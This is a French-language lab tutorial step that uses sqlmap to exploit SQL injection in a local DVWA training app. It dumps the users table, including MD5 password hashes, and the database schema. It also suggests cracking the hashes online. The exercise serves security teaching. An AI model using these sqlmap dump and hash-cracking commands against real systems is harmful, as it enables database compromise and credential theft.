Analyser les données récupérées
Dans cette étape, nous allons examiner les informations sensibles de la base de données que sqlmap a réussi à extraire via l'injection SQL. Cela démontre l'impact réel des vulnérabilités d'injection SQL en montrant exactement quelles données les attaquants peuvent accéder.
- Tout d'abord, récupérons toutes les données de la table 'users' dans la base de données DVWA. Cette commande s'appuie sur ce que nous avons fait précédemment, mais maintenant nous ciblons spécifiquement la table users pour voir les informations d'identification (remplacez par votre cookie de session) :
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa -T users --dump --batch
Le -D dvwa spécifie la base de données, -T users cible la table users, et --dump récupère tout son contenu.
- La sortie révèle des informations sensibles sur les utilisateurs stockées dans la base de données :
Database: dvwa
Table: users
[5 entries]
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| user_id | first_name | last_name | user | password | avatar | last_login | failed_login |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
| 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin.jpg | NULL | 0 |
| 2 | Gordon | Brown | gordonb | e99a18c428cb38d5f260853678922e03 | gordonb.jpg | NULL | 0 |
| 3 | Hack | Me | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | 1337.jpg | NULL | 0 |
| 4 | Pablo | Picasso | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | pablo.jpg | NULL | 0 |
| 5 | Bob | Smith | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | smithy.jpg | NULL | 0 |
+---------+------------+-----------+---------+----------------------------------+-----------+------------+---------------------+
Notez que la colonne des mots de passe contient des hachages MD5 au lieu de mots de passe en texte brut. Bien que cela soit mieux que de stocker des mots de passe bruts, l'algorithme MD5 est considéré comme cryptographiquement cassé et vulnérable aux attaques par tables arc-en-ciel.
-
Vous pouvez essayer de casser ces hachages en utilisant des outils en ligne comme CrackStation en copiant et collant les valeurs de hachage. Cela montre comment les algorithmes de hachage faibles peuvent être inversés pour révéler les mots de passe originaux.
-
Pour comprendre la structure complète de la base de données, nous pouvons récupérer son schéma :
sqlmap -u "http://localhost:8000/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=<PHPSESSID>; security=low" -D dvwa --schema --batch
Le flag --schema révèle toutes les tables et leurs structures de colonnes, donnant aux attaquants une carte de la base de données entière. Il s'agit d'informations extrêmement précieuses pour une exploitation plus approfondie.
Points clés pour les débutants :
- Le paramètre
--dump extrait toutes les données d'une table spécifiée
- Les hachages MD5 peuvent souvent être cassés en utilisant des tables arc-en-ciel pré-calculées
- Les informations sur le schéma de la base de données aident les attaquants à comprendre la structure des données
- Cet exercice démontre comment une seule vulnérabilité d'injection SQL peut conduire à la compromission complète de la base de données
- Toujours utiliser des algorithmes de hachage forts et salés comme bcrypt pour le stockage des mots de passe